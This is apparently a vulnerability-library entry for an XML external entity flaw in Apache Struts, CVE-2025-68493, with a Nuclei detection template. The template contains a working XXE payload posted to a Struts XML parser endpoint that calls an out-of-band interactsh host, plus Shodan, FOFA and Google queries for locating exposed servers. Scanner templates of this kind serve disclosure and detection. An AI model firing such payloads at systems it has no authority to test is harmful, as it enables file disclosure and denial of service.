/Vulnerability Library

Apache Struts XWork - XML External Entity Injection

CVE-2025-68493
Verified

Description

Apache Struts 2.0.0 < 2.2.1 and 2.2.1 <= versions <= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input

Severity

High

CVSS Score

8.1

Exploit Probability

40%

Affected Product

struts

Published Date

July 29, 2026

Template Author

pussycat0x

CVE-2025-68493.yaml
id: CVE-2025-68493

info:
  name: Apache Struts XWork - XML External Entity Injection
  author: pussycat0x
  severity: high
  description: |
    Apache Struts 2.0.0 < 2.2.1 and 2.2.1 <= versions <= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input
  impact: |
    Attackers can disclose sensitive files or cause denial of service by exploiting XML processing.
  remediation: |
    Upgrade to version 6.1.1.
  reference:
    - https://cwiki.apache.org/confluence/display/WW/S2-069
    - https://github.com/hsltz/CVE-2025-68493
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-68493
    cwe-id: CWE-611
    epss-score: 0.39504
    epss-percentile: 0.98502
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"Apache Struts"
      - http.html:"struts problem report"
      - http.title:"Struts2 Showcase"
    fofa-query:
      - body="struts problem report"
      - app="apache_struts"
      - title="Struts2 Showcase"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2025,apache,struts,struts2,xxe,oast,oob,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Struts'
        case-insensitive: true
        internal: true

  - raw:
      - |
        POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
        Connection: close

        <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">]><foo>&xxe;</foo>

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or
# digest: 4a0a0047304502206d54375a6c3e3d3e5b542aaedd62573678df8f6f8564d5b16381d670ce280b6b022100c9ead8fda1996fe418794dd3b4d9e80087ed39f0a0ef7d1cc74707b3debb9d3f:922c64590222798bb761d5b6d8e72950
8.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
CVE ID:
cve-2025-68493
CWE ID:
cwe-611

References

https://cwiki.apache.org/confluence/display/WW/S2-069https://github.com/hsltz/CVE-2025-68493

Remediation Steps

Upgrade to version 6.1.1.